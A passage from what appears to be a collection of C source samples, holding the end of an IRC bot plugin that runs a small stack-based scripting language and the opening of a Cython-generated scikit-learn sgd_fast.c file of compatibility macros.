item;\n\t\tbuffer_append (buf, word->value, word->len);\n\t\tbreak;\n\t}\n\tcase ITEM_INTEGER:\n\t\tif (!(x = strdup_printf (\"%lld\", get_integer (item))))\n\t\t\tgoto alloc_failure;\n\t\tbuffer_append (buf, x, strlen (x));\n\t\tfree (x);\n\t\tbreak;\n\tcase ITEM_FLOAT:\n\t\tif (!(x = strdup_printf (\"%Lf\", get_float (item))))\n\t\t\tgoto alloc_failure;\n\t\tbuffer_append (buf, x, strlen (x));\n\t\tfree (x);\n\t\tbreak;\n\tcase ITEM_LIST:\n\t\tbuffer_append_c (buf, '[');\n\t\titem_list_to_str (get_list (item), buf);\n\t\tbuffer_append_c (buf, ']');\n\t\tbreak;\n\t}\n\treturn;\n\nalloc_failure:\n\t// This is a bit hackish but it simplifies stuff\n\tbuf->memory_failure = true;\n\tfree (buf->s);\n\tbuf->s = NULL;\n}\n\nstatic void\nitem_list_to_str (const struct item *script, struct buffer *buf)\n{\n\tif (!script)\n\t\treturn;\n\n\titem_to_str (script, buf);\n\twhile ((script = script->next))\n\t{\n\t\tbuffer_append_c (buf, ' ');\n\t\titem_to_str (script, buf);\n\t}\n}\n\n// --- IRC protocol ------------------------------------------------------------\n\nstruct message\n{\n\tchar *prefix;                       ///< Message prefix\n\tchar *command;                      ///< IRC command\n\tchar *params[16];                   ///< Command parameters (0-terminated)\n\tsize_t n_params;                    ///< Number of parameters present\n};\n\ninline static char *\ncut_word (char **s)\n{\n\tchar *start = *s, *end = *s + strcspn (*s, \" \");\n\t*s = end + strspn (end, \" \");\n\t*end = '\\0';\n\treturn start;\n}\n\nstatic bool\nparse_message (char *s, struct message *msg)\n{\n\tmemset (msg, 0, sizeof *msg);\n\n\t// Ignore IRC 3.2 message tags, if present\n\tif (*s == '@')\n\t{\n\t\ts += strcspn (s, \" \");\n\t\ts += strspn (s, \" \");\n\t}\n\n\t// Prefix\n\tif (*s == ':')\n\t\tmsg->prefix = cut_word (&s) + 1;\n\n\t// Command\n\tif (!*(msg->command = cut_word (&s)))\n\t\treturn false;\n\n\t// Parameters\n\twhile (*s)\n\t{\n\t\tsize_t n = msg->n_params++;\n\t\tif (msg->n_params >= N_ELEMENTS (msg->params))\n\t\t\treturn false;\n\t\tif (*s == ':')\n\t\t{\n\t\t\tmsg->params[n] = ++s;\n\t\t\tbreak;\n\t\t}\n\t\tmsg->params[n] = cut_word (&s);\n\t}\n\treturn true;\n}\n\nstatic struct message *\nread_message (void)\n{\n\tstatic bool discard = false;\n\tstatic char buf[1025];\n\tstatic struct message msg;\n\n\tbool discard_this;\n\tdo\n\t{\n\t\tif (!fgets (buf, sizeof buf, stdin))\n\t\t\treturn NULL;\n\t\tsize_t len = strlen (buf);\n\n\t\t// Just to be on the safe side, if the line overflows our buffer,\n\t\t// ignore everything up until the next line.\n\t\tdiscard_this = discard;\n\t\tif (len >= 2 && !strcmp (buf + len - 2, \"\\r\\n\"))\n\t\t{\n\t\t\tbuf[len -= 2] = '\\0';\n\t\t\tdiscard = false;\n\t\t}\n\t\telse\n\t\t\tdiscard = true;\n\t}\n\t// Invalid messages are silently ignored\n\twhile (discard_this || !parse_message (buf, &msg));\n\treturn &msg;\n}\n\n// --- Interfacing with the bot ------------------------------------------------\n\n#define BOT_PRINT \"ZYKLONB print :script: \"\n\nstatic const char *\nget_config (const char *key)\n{\n\tprintf (\"ZYKLONB get_config :%s\\r\\n\", key);\n\tstruct message *msg = read_message ();\n\tif (!msg || msg->n_params <= 0)\n\t\texit (EXIT_FAILURE);\n\treturn msg->params[0];\n}\n\n// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n// TODO: implement more functions; try to avoid writing them in C\n\nstatic bool\ninit_runtime_library_scripts (void)\n{\n\tbool ok = true;\n\n\t// It's much cheaper (and more fun) to define functions in terms of other\n\t// ones.  The \"unit tests\" serve a secondary purpose of showing the usage.\n\tstruct script\n\t{\n\t\tconst char *name;               ///< Name of the function\n\t\tconst char *definition;         ///< The defining script\n\t\tconst char *unit_test;          ///< Trivial unit test, must return 1\n\t}\n\tscripts[] =\n\t{\n\t\t{ \"nip\",     \"swap drop\",                    \"1 2 nip 2 =\"            },\n\t\t{ \"over\",    \"[dup] dip swap\",               \"1 2 over nip nip 1 =\"   },\n\t\t{ \"swons\",   \"swap cons\",                    \"[2] 1 swons [1 2] =\"    },\n\t\t{ \"first\",   \"uncons drop\",                  \"[1 2 3] first 1 =\"      },\n\t\t{ \"rest\",    \"uncons swap drop\",             \"[1 2 3] rest [2 3] =\"   },\n\t\t{ \"reverse\", \"[] swap [swap cons] each\",     \"[1 2] reverse [2 1] =\"  },\n\t\t{ \"curry\",   \"cons\",                         \"1 2 [+] curry call 3 =\" },\n\n\t\t{ \"xor\",     \"not swap not + 1 =\",           \"1 1 xor 0 =\"            },\n\t\t{ \"min\",     \"over over < [drop] [nip] if\",  \"1 2 min 1 =\"            },\n\t\t{ \"max\",     \"over over > [drop] [nip] if\",  \"1 2 max 2 =\"            },\n\n\t\t{ \"all?\",    \"[and] cat 1 swap fold\",        \"[3 4 5] [> 3] all? 0 =\" },\n\t\t{ \"any?\",    \"[or] cat 0 swap fold\",         \"[3 4 5] [> 3] any? 1 =\" },\n\n\t\t{ \">\",       \"swap <\",                       \"1 2 > 0 =\"              },\n\t\t{ \"!=\",      \"= not\",                        \"1 2 != 1 =\"             },\n\t\t{ \"<=\",      \"> not\",                        \"1 2 <= 1 =\"             },\n\t\t{ \">=\",      \"< not\",                        \"1 2 >= 0 =\"             },\n\n\t\t// XXX: this is a bit crazy and does not work with an empty list\n\t\t{ \"join\",   \"[uncons] dip swap [[dup] dip swap [+ +] dip] each drop\",\n\t\t  \"[1 2 3] [>string] map \\\" -> \\\" join \\\"1 -> 2 -> 3\\\" =\"             },\n\t};\n\n\tfor (size_t i = 0; i < N_ELEMENTS (scripts); i++)\n\t{\n\t\tconst char *error = NULL;\n\t\tstruct item *script = parse (scripts[i].definition, &error);\n\t\tif (error)\n\t\t{\n\t\t\tprintf (BOT_PRINT \"error parsing internal script `%s': %s\\r\\n\",\n\t\t\t\tscripts[i].definition, error);\n\t\t\tok = false;\n\t\t}\n\t\telse\n\t\t\tok &= register_script (scripts[i].name, script);\n\t}\n\n\tstruct context ctx;\n\tfor (size_t i = 0; i < N_ELEMENTS (scripts); i++)\n\t{\n\t\tconst char *error = NULL;\n\t\tstruct item *script = parse (scripts[i].unit_test, &error);\n\t\tif (error)\n\t\t{\n\t\t\tprintf (BOT_PRINT \"error parsing unit test for `%s': %s\\r\\n\",\n\t\t\t\tscripts[i].name, error);\n\t\t\tok = false;\n\t\t\tcontinue;\n\t\t}\n\t\tcontext_init (&ctx);\n\t\texecute (&ctx, script);\n\t\titem_free_list (script);\n\n\t\tconst char *failure = NULL;\n\t\tif (ctx.memory_failure)\n\t\t\tfailure = \"memory allocation failure\";\n\t\telse if (ctx.error)\n\t\t\tfailure = ctx.error;\n\t\telse if (ctx.stack_size != 1)\n\t\t\tfailure = \"too many results on the stack\";\n\t\telse if (ctx.stack->type != ITEM_INTEGER)\n\t\t\tfailure = \"result is not an integer\";\n\t\telse if (get_integer (ctx.stack) != 1)\n\t\t\tfailure = \"wrong test result\";\n\t\tif (failure)\n\t\t{\n\t\t\tprintf (BOT_PRINT \"error executing unit test for `%s': %s\\r\\n\",\n\t\t\t\tscripts[i].name, failure);\n\t\t\tok = false;\n\t\t}\n\t\tcontext_free (&ctx);\n\t}\n\treturn ok;\n}\n\nstatic bool\ninit_runtime_library (void)\n{\n\tbool ok = true;\n\n\t// Type detection\n\tok &= register_handler (\"string?\",  fn_is_string);\n\tok &= register_handler (\"word?\",    fn_is_word);\n\tok &= register_handler (\"integer?\", fn_is_integer);\n\tok &= register_handler (\"float?\",   fn_is_float);\n\tok &= register_handler (\"list?\",    fn_is_list);\n\n\t// Type conversion\n\tok &= register_handler (\">string\",  fn_to_string);\n\tok &= register_handler (\">integer\", fn_to_integer);\n\tok &= register_handler (\">float\",   fn_to_float);\n\n\t// Miscellaneous\n\tok &= register_handler (\"length\",   fn_length);\n\n\t// Basic stack manipulation\n\tok &= register_handler (\"dup\",      fn_dup);\n\tok &= register_handler (\"drop\",     fn_drop);\n\tok &= register_handler (\"swap\",     fn_swap);\n\n\t// Calling stuff\n\tok &= register_handler (\"call\",     fn_call);\n\tok &= register_handler (\"dip\",      fn_dip);\n\n\t// Control flow\n\tok &= register_handler (\"if\",       fn_if);\n\tok &= register_handler (\"try\",      fn_try);\n\n\t// List processing\n\tok &= register_handler (\"map\",      fn_map);\n\tok &= register_handler (\"filter\",   fn_filter);\n\tok &= register_handler (\"fold\",     fn_fold);\n\tok &= register_handler (\"each\",     fn_each);\n\n\t// List manipulation\n\tok &= register_handler (\"unit\",     fn_unit);\n\tok &= register_handler (\"cons\",     fn_cons);\n\tok &= register_handler (\"cat\",      fn_cat);\n\tok &= register_handler (\"uncons\",   fn_uncons);\n\n\t// Arithmetic operations\n\tok &= register_handler (\"+\",        fn_plus);\n\tok &= register_handler (\"-\",        fn_minus);\n\tok &= register_handler (\"*\",        fn_times);\n\tok &= register_handler (\"^\",        fn_pow);\n\tok &= register_handler (\"/\",        fn_div);\n\tok &= register_handler (\"%\",        fn_mod);\n\n\t// Comparison\n\tok &= register_handler (\"=\",        fn_eq);\n\tok &= register_handler (\"<\",        fn_lt);\n\n\t// Logical operations\n\tok &= register_handler (\"not\",      fn_not);\n\tok &= register_handler (\"and\",      fn_and);\n\tok &= register_handler (\"or\",       fn_or);\n\n\t// Utilities\n\tok &= register_handler (\"rand\",     fn_rand);\n\tok &= register_handler (\"time\",     fn_time);\n\tok &= register_handler (\"strftime\", fn_strftime);\n\n\tok &= init_runtime_library_scripts ();\n\treturn ok;\n}\n\nstatic void\nfree_runtime_library (void)\n{\n\tstruct fn *next, *iter;\n\tfor (iter = g_functions; iter; iter = next)\n\t{\n\t\tnext = iter->next;\n\t\tfree_function (iter);\n\t}\n}\n\n// --- Function database -------------------------------------------------------\n\n// TODO: a global variable storing the various procedures (db)\n// XXX: defining procedures would ideally need some kind of an ACL\n\nstatic void\nread_db (void)\n{\n\t// TODO\n}\n\nstatic void\nwrite_db (void)\n{\n\t// TODO\n}\n\n// --- Main --------------------------------------------------------------------\n\nstatic char *g_prefix;\n\nstruct user_info\n{\n\tchar *ctx;                          ///< Context: channel or user\n\tchar *ctx_quote;                    ///< Reply quotation\n};\n\ndefn (fn_dot)\n{\n\tcheck_stack (1);\n\tstruct item *item = pop (ctx);\n\tstruct user_info *info = ctx->user_data;\n\n\tstruct buffer buf = BUFFER_INITIALIZER;\n\titem_to_str (item, &buf);\n\titem_free (item);\n\tbuffer_append_c (&buf, '\\0');\n\tif (buf.memory_failure)\n\t{\n\t\tctx->memory_failure = true;\n\t\treturn false;\n\t}\n\n\tif (buf.len > 255)\n\t\tbuf.s[255] = '\\0';\n\n\tprintf (\"PRIVMSG %s :%s%s\\r\\n\", info->ctx, info->ctx_quote, buf.s);\n\tfree (buf.s);\n\treturn true;\n}\n\nstatic void\nprocess_message (struct message *msg)\n{\n\tif (!msg->prefix\n\t || strcasecmp (msg->command, \"PRIVMSG\")\n\t || msg->n_params < 2)\n\t\treturn;\n\tchar *line = msg->params[1];\n\n\t// Filter out only our commands\n\tsize_t prefix_len = strlen (g_prefix);\n\tif (strncmp (line, g_prefix, prefix_len))\n\t\treturn;\n\tline += prefix_len;\n\n\tchar *command = cut_word (&line);\n\tif (strcasecmp (command, \"script\"))\n\t\treturn;\n\n\t// Retrieve information on how to respond back\n\tchar *msg_ctx = msg->prefix, *x;\n\tif ((x = strchr (msg_ctx, '!')))\n\t\t*x = '\\0';\n\n\tchar *msg_ctx_quote;\n\tif (strchr (\"#+&!\", *msg->params[0]))\n\t{\n\t\tmsg_ctx_quote = strdup_printf (\"%s: \", msg_ctx);\n\t\tmsg_ctx = msg->params[0];\n\t}\n\telse\n\t\tmsg_ctx_quote = strdup (\"\");\n\n\tif (!msg_ctx_quote)\n\t{\n\t\tprintf (BOT_PRINT \"%s\\r\\n\", \"memory allocation failure\");\n\t\treturn;\n\t}\n\n\tstruct user_info info;\n\tinfo.ctx = msg_ctx;\n\tinfo.ctx_quote = msg_ctx_quote;\n\n\t// Finally parse and execute the macro\n\tconst char *error = NULL;\n\tstruct item *script = parse (line, &error);\n\tif (error)\n\t{\n\t\tprintf (\"PRIVMSG %s :%s%s: %s\\r\\n\",\n\t\t\tmsg_ctx, msg_ctx_quote, \"parse error\", error);\n\t\tgoto end;\n\t}\n\n\tstruct context ctx;\n\tcontext_init (&ctx);\n\tctx.user_data = &info;\n\texecute (&ctx, script);\n\titem_free_list (script);\n\n\tconst char *failure = NULL;\n\tif (ctx.memory_failure)\n\t\tfailure = \"memory allocation failure\";\n\telse if (ctx.error)\n\t\tfailure = ctx.error;\n\tif (failure)\n\t\tprintf (\"PRIVMSG %s :%s%s: %s\\r\\n\",\n\t\t\tmsg_ctx, msg_ctx_quote, \"runtime error\", failure);\n\tcontext_free (&ctx);\nend:\n\tfree (msg_ctx_quote);\n}\n\nint\nmain (int argc, char *argv[])\n{\n\tfreopen (NULL, \"rb\", stdin);   setvbuf (stdin,  NULL, _IOLBF, BUFSIZ);\n\tfreopen (NULL, \"wb\", stdout);  setvbuf (stdout, NULL, _IOLBF, BUFSIZ);\n\n\tstruct rlimit limit =\n\t{\n\t\t.rlim_cur = ADDRESS_SPACE_LIMIT,\n\t\t.rlim_max = ADDRESS_SPACE_LIMIT\n\t};\n\n\t// Lower the memory limits to something sensible to prevent abuse\n\t(void) setrlimit (RLIMIT_AS, &limit);\n\n\tread_db ();\n\tif (!init_runtime_library ()\n\t || !register_handler (\".\", fn_dot))\n\t\tprintf (BOT_PRINT \"%s\\r\\n\", \"runtime library initialization failed\");\n\n\tg_prefix = strdup (get_config (\"prefix\"));\n\tprintf (\"ZYKLONB register\\r\\n\");\n\tstruct message *msg;\n\twhile ((msg = read_message ()))\n\t\tprocess_message (msg);\n\n\tfree_runtime_library ();\n\tfree (g_prefix);\n\treturn 0;\n}\n\n"
  },
  {
    "path": "samples/C/sgd_fast.c",
    "content": "/* Generated by Cython 0.17.4 on Mon Jan  7 18:29:40 2013 */\n\n#define PY_SSIZE_T_CLEAN\n#include \"Python.h\"\n#ifndef Py_PYTHON_H\n    #error Python headers needed to compile C extensions, please install development version of Python.\n#elif PY_VERSION_HEX < 0x02040000\n    #error Cython requires Python 2.4+.\n#else\n#include <stddef.h> /* For offsetof */\n#ifndef offsetof\n#define offsetof(type, member) ( (size_t) & ((type*)0) -> member )\n#endif\n#if !defined(WIN32) && !defined(MS_WINDOWS)\n  #ifndef __stdcall\n    #define __stdcall\n  #endif\n  #ifndef __cdecl\n    #define __cdecl\n  #endif\n  #ifndef __fastcall\n    #define __fastcall\n  #endif\n#endif\n#ifndef DL_IMPORT\n  #define DL_IMPORT(t) t\n#endif\n#ifndef DL_EXPORT\n  #define DL_EXPORT(t) t\n#endif\n#ifndef PY_LONG_LONG\n  #define PY_LONG_LONG LONG_LONG\n#endif\n#ifndef Py_HUGE_VAL\n  #define Py_HUGE_VAL HUGE_VAL\n#endif\n#ifdef PYPY_VERSION\n#define CYTHON_COMPILING_IN_PYPY 1\n#define CYTHON_COMPILING_IN_CPYTHON 0\n#else\n#define CYTHON_COMPILING_IN_PYPY 0\n#define CYTHON_COMPILING_IN_CPYTHON 1\n#endif\n#if PY_VERSION_HEX < 0x02050000\n  typedef int Py_ssize_t;\n  #define PY_SSIZE_T_MAX INT_MAX\n  #define PY_SSIZE_T_MIN INT_MIN\n  #define PY_FORMAT_SIZE_T \"\"\n  #define CYTHON_FORMAT_SSIZE_T \"\"\n  #define PyInt_FromSsize_t(z) PyInt_FromLong(z)\n  #define PyInt_AsSsize_t(o)   __Pyx_PyInt_AsInt(o)\n  #define PyNumber_Index(o)    ((PyNumber_Check(o) && !PyFloat_Check(o)) ? PyNumber_Int(o) : \\\n                                (PyErr_Format(PyExc_TypeError, \\\n                                              \"expected index value, got %.200s\", Py_TYPE(o)->tp_name), \\\n                                 (PyObject*)0))\n  #define __Pyx_PyIndex_Check(o) (PyNumber_Check(o) && !PyFloat_Check(o) && \\\n                                  !PyComplex_Check(o))\n  #define PyIndex_Check __Pyx_PyIndex_Check\n  #define PyErr_WarnEx(category, message, stacklevel) PyErr_Warn(category, message)\n  #define __PYX_BUILD_PY_SSIZE_T \"i\"\n#else\n  #define __PYX_BUILD_PY_SSIZE_T \"n\"\n  #define CYTHON_FORMAT_SSIZE_T \"z\"\n  #define __Pyx_PyIndex_Check PyIndex_Check\n#endif\n#if PY_VERSION_HEX < 0x02060000\n  #define Py_REFCNT(ob) (((PyObject*)(ob))->ob_refcnt)\n  #define Py_TYPE(ob)   (((PyObject*)(ob))->ob_type)\n  #define Py_SIZE(ob)   (((PyVarObject*)(ob))->ob_size)\n  #define PyVarObject_HEAD_INIT(type, size) \\\n          PyObject_HEAD_INIT(type) size,\n  #define PyType_Modified(t)\n  typedef struct {\n     void *buf;\n     PyObject *obj;\n     Py_ssize_t len;\n     Py_ssize_t itemsize;\n     int readonly;\n     int ndim;\n     char *format;\n     Py_ssize_t *shape;\n     Py_ssize_t *strides;\n     Py_ssize_t *suboffsets;\n     void *internal;\n  } Py_buffer;\n  #define PyBUF_SIMPLE 0\n  #define PyBUF_WRITABLE 0x0001\n  #define PyBUF_FORMAT 0x0004\n  #define PyBUF_ND 0x0008\n  #define PyBUF_STRIDES (0x0010 | PyBUF_ND)\n  #define PyBUF_C_CONTIGUOUS (0x0020 | PyBUF_STRIDES)\n  #define PyBUF_F_CONTIGUOUS (0x0040 | PyBUF_STRIDES)\n  #define PyBUF_ANY_CONTIGUOUS (0x0080 | PyBUF_STRIDES)\n  #define PyBUF_INDIRECT (0x0100 | PyBUF_STRIDES)\n  #define PyBUF_RECORDS (PyBUF_STRIDES | PyBUF_FORMAT | PyBUF_WRITABLE)\n  #define PyBUF_FULL (PyBUF_INDIRECT | PyBUF_FORMAT | PyBUF_WRITABLE)\n  typedef int (*getbufferproc)(PyObject *, Py_buffer *, int);\n  typedef void (*releasebufferproc)(PyObject *, Py_buffer *);\n#endif\n#if PY_MAJOR_VERSION < 3\n  #define __Pyx_BUILTIN_MODULE_NAME \"__builtin__\"\n  #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) \\\n          PyCode_New(a, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\n#else\n  #define __Pyx_BUILTIN_MODULE_NAME \"builtins\"\n  #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) \\\n          PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\n#endif\n#if PY_MAJOR_VERSION < 3 && PY_MINOR_VERSION < 6\n  #define PyUnicode_FromString(s) PyUnicode_Decode(s, strlen(s), \"UTF-8\", \"strict\")\n#endif\n#if PY_MAJOR_VERSION >= 3\n  #define Py_TPFLAGS_CHECKTYPES 0\n  #define Py_TPFLAGS_HAVE_INDEX 0\n#endif\n#if (PY_VERSION_HEX < 0x02060000) || (PY_MAJOR_VERSION >= 3)\n  #define Py_TPFLAGS_HAVE_NEWBUFFER 0\n#endif\n#if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND)\n  #define CYTHON_PEP393_ENABLED 1\n  #define __Pyx_PyUnicode_READY(op)       (likely(PyUnicode_IS_READY(op)) ? \\\n                                              0 : _PyUnicode_Ready((PyObject *)(op)))\n  #define __Pyx_PyUnicode_GET_LENGTH(u)   PyUnicode_GET_LENGTH(u)\n  #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i)\n  #define __Pyx_PyUnicode_READ(k, d, i)   PyUnicode_READ(k, d, i)\n#else\n  #define CYTHON_PEP393_ENABLED 0\n  #define __Pyx_PyUnicode_READY(op)       (0)\n  #define __Pyx_PyUnicode_GET_LENGTH(u)   PyUnicode_GET_SIZE(u)\n  #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i]))\n  #define __Pyx_PyUnicode_READ(k, d, i)   ((k=k), (Py_UCS4)(((Py_UNICODE*)d)[i]))\n#endif\n#if PY_MAJOR_VERSION >= 3\n  #define PyBaseString_Type            PyUnicode_Type\n  #define PyStringObject               PyUnicodeObject\n  #define PyString_Type                PyUnicode_Type\n  #define PyString_Check               PyUnicode_Check\n  #define PyString_CheckExact          PyUnicode_CheckExact\n#endif\n#if PY_VERSION_HEX < 0x02060000\n  #define PyBytesObject                PyStringObject\n  #define PyBytes_Type                 PyString_Type\n  #define PyBytes_Check                PyString_Check\n  #define PyBytes_CheckExact           PyString_CheckExact\n  #define PyBytes_FromString           PyString_FromString\n  #define PyBytes_FromStringAndSize    PyString_FromStringAndSize\n  #define PyBytes_FromFormat           PyString_FromFormat\n  #define PyBytes_DecodeEscape         PyString_DecodeEscape\n  #define PyBytes_AsString             PyString_AsString\n  #define PyBytes_AsStringAndSize      PyString_AsStringAndSize\n  #define PyBytes_Size                 PyString_Size\n  #define PyBytes_AS_STRING            PyString_AS_STRING\n  #define PyBytes_GET_SIZE             PyString_GET_SIZE\n  #define PyBytes_Repr                 PyString_Repr\n  #define PyBytes_Concat               PyString_Concat\n  #define PyBytes_ConcatAndDel         PyString_ConcatAndDel\n#endif\n#if PY_VERSION_HEX < 0x02060000\n  #define PySet_Check(obj)             PyObject_TypeCheck(obj, &PySet_Type)\n  #define PyFrozenSet_Check(obj)       PyObject_TypeCheck(obj, &PyFrozenSet_Type)\n#endif\n#ifndef PySet_CheckExact\n  #define PySet_CheckExact(obj)        (Py_TYPE(obj) == &PySet_Type)\n#endif\n#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type)\n#if PY_MAJOR_VERSION >= 3\n  #define PyIntObject                  PyLongObject\n  #define PyInt_Type                   PyLong_Type\n  #define PyInt_Check(op)              PyLong_Check(op)\n  #define PyInt_CheckExact(op)         PyLong_CheckExact(op)\n  #define PyInt_FromString             PyLong_FromString\n  #define PyInt_FromUnicode            PyLong_FromUnicode\n  #define PyInt_FromLong               PyLong_FromLong\n  #define PyInt_FromSize_t             PyLong_FromSize_t\n  #define PyInt_FromSsize_t            PyLong_FromSsize_t\n  #define PyInt_AsLong                 PyLong_AsLong\n  #define PyInt_AS_LONG                PyLong_AS_LONG\n  #define PyInt_AsSsize_t              PyLong_AsSsize_t\n  #define PyInt_AsUnsignedLongMask     PyLong_AsUnsignedLongMask\n  #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask\n#endif\n#if PY_MAJOR_VERSION >= 3\n  #define PyBoolObject                 PyLongObject\n#endif\n#if PY_VERSION_HEX < 0x03020000\n  typedef long Py_hash_t;\n  #define __Pyx_PyInt_FromHash_t PyInt_FromLong\n  #define __Pyx_PyInt_AsHash_t   PyInt_AsLong\n#else\n  #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t\n  #define __Pyx_PyInt_AsHash_t   PyInt_AsSsize_t\n#endif\n#if (PY_MAJOR_VERSION < 3) || (PY_VERSION_HEX >= 0x03010300)\n  #define __Pyx_PySequence_GetSlice(obj, a, b) PySequence_GetSlice(obj, a, b)\n  #define __Pyx_PySequence_SetSlice(obj, a, b, value) PySequence_SetSlice(obj, a, b, value)\n  #define __Pyx_PySequence_DelSlice(obj, a, b) PySequence_DelSlice(obj, a, b)\n#else\n  #define __Pyx_PySequence_GetSlice(obj, a, b) (unlikely(!(obj)) ? \\\n        (PyErr_SetString(PyExc_SystemError, \"null argument to internal routine\"), (PyObject*)0) : \\\n        (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_GetSlice(obj, a, b)) : \\\n            (PyErr_Format(PyExc_TypeError, \"'%.200s' object is unsliceable\", (obj)->ob_type->tp_name), (PyObject*)0)))\n  #define __Pyx_PySequence_SetSlice(obj, a, b, value) (unlikely(!(obj)) ? \\\n        (PyErr_SetString(PyExc_SystemError, \"null argument to internal routine\"), -1) : \\\n        (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_SetSlice(obj, a, b, value)) : \\\n            (PyErr_Format(PyExc_TypeError, \"'%.200s' object doesn't support slice assignment\", (obj)->ob_type->tp_name), -1)))\n  #define __Pyx_PySequence_DelSlice(obj, a, b) (unlikely(!(obj)) ? \\\n        (PyErr_SetString(PyExc_SystemError, \"null argument to internal routine\"), -1) : \\\n        (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_DelSlice(obj, a, b)) : \\\n            (PyErr_Format(PyExc_TypeError, \"'%.200s' object doesn't support slice deletion\", (obj)->ob_type->tp_name), -1)))\n#endif\n#if PY_MAJOR_VERSION >= 3\n  #define PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func))\n#endif\n#if PY_VERSION_HEX < 0x02050000\n  #define __Pyx_GetAttrString(o,n)   PyObject_GetAttrString((o),((char *)(n)))\n  #define __Pyx_SetAttrString(o,n,a) PyObject_SetAttrString((o),((char *)(n)),(a))\n  #define __Pyx_DelAttrString(o,n)   PyObject_DelAttrString((o),((char *)(n)))\n#else\n  #define __Pyx_GetAttrString(o,n)   PyObject_GetAttrString((o),(n))\n  #define __Pyx_SetAttrString(o,n,a) PyObject_SetAttrString((o),(n),(a))\n  #define __Pyx_DelAttrString(o,n)   PyObject_DelAttrString((o),(n))\n#endif\n#if PY_VERSION_HEX < 0x02050000\n  #define __Pyx_NAMESTR(n) ((char *)(n))\n  #define __Pyx_DOCSTR(n)  ((char *)(n))\n#else\n  #define __Pyx_NAMESTR(n) (n)\n  #define __Pyx_DOCSTR(n)  (n)\n#endif\n\n\n#if PY_MAJOR_VERSION >= 3\n  #define __Pyx_PyNumber_Divide(x,y)         PyNumber_TrueDivide(x,y)\n  #define __Pyx_PyNumber_InPlaceDivide(x,y)  PyNumber_InPlaceTrueDivide(x,y)\n#else\n  #define __Pyx_PyNumber_Divide(x,y)         PyNumber_Divide(x,y)\n  #define __Pyx_PyNumber_InPlaceDivide(x,y)  PyNumber_InPlaceDivide(x,y)\n#endif\n\n#ifndef __PYX_EXTERN_C\n  #ifdef __cplusplus\n    #define __PYX_EXTERN_C extern \"C\"\n  #else\n    #define __PYX_EXTERN_C extern\n  #endif\n#endif\n\n#if defined(WIN32) || defined(MS_WINDOWS)\n#define _USE_MATH_DEFINES\n#endif\n#include <math.h>\n#define __PYX_HAVE__sklearn__linear_model__sgd_fast\n#define __PYX_HAVE_API__sklearn__linear_model__sgd_fast\n#include \"math.h\"\n#include \"stdio.h\"\n#include \"stdlib.h\"\n#include \"numpy/arrayobject.h\"\n#include \"numpy/ufuncobject.h\"\n#ifdef _OPENMP\n#include <omp.h>\n#endif /* _OPENMP */\n\n#ifdef PYREX_WITHOUT_ASSERTIONS\n#define CYTHON_WITHOUT_ASSERTIONS\n#endif\n\n\n/* inline attribute */\n#ifndef CYTHON_INLINE\n  #if defined(__GNUC__)\n    #define CYTHON_INLINE __inline__\n  #elif defined(_MSC_VER)\n    #define CYTHON_INLINE __inline\n  #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L\n    #define CYTHON_INLINE inline\n  #else\n    #define CYTHON_INLINE\n  #endif\n#endif\n\n/* unused attribute */\n#ifndef CYTHON_UNUSED\n# if defined(__GNUC__)\n#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))\n#     define CYTHON_UNUSED __attribute__ ((__unused__))\n#   else\n#     define CYTHON_UNUSED\n#   endif\n# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER))\n#   define CYTHON_UNUSED __attribute__ ((__unused__))\n# else\n#   define CYTHON_UNUSED\n# endif\n#endif\n\ntypedef struct {PyObject **p; char *s; const long n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; /*proto*/\n\n\n/* Type Conversion Predeclarations */\n\n#define __Pyx_PyBytes_FromUString(s) PyBytes_FromString((char*)s)\n#define __Pyx_PyBytes_AsUString(s)   ((unsigned char*) PyBytes_AsString(s))\n\n#define __Pyx_Owned_Py_None(b) (Py_INCREF(Py_None), Py_None)\n#define __Pyx_PyBool_FromLong(b) ((b) ? (Py_INCREF(Py_True), Py_True) : (Py_INCREF(Py_False), Py_False))\nstatic CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*);\nstatic CYTHON_INLINE PyObject* __Pyx_PyNumber_Int(PyObject* x);\n\nstatic CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*);\nstatic CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t);\nstatic CYTHON_INLINE size_t __Pyx_PyInt_AsSize_t(PyObject*);\n\n#if CYTHON_COMPILING_IN_CPYTHON\n#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x))\n#else\n#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x)\n#endif\n#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x))\n\n#ifdef __GNUC__\n  /* Test for GCC > 2.95 */\n  #if __GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))\n    #define likely(x)   __builtin_expect(!!(x), 1)\n    #define unlikely(x) __builtin_expect(!!(x), 0)\n  #else /* __GNUC__ > 2 ... */\n    #define likely(x)   (x)\n    #define unlikely(x) (x)\n  #endif /* __GNUC__ > 2 ... */\n#else /* __GNUC__ */\n  #define likely(x)   (x)\n  #define 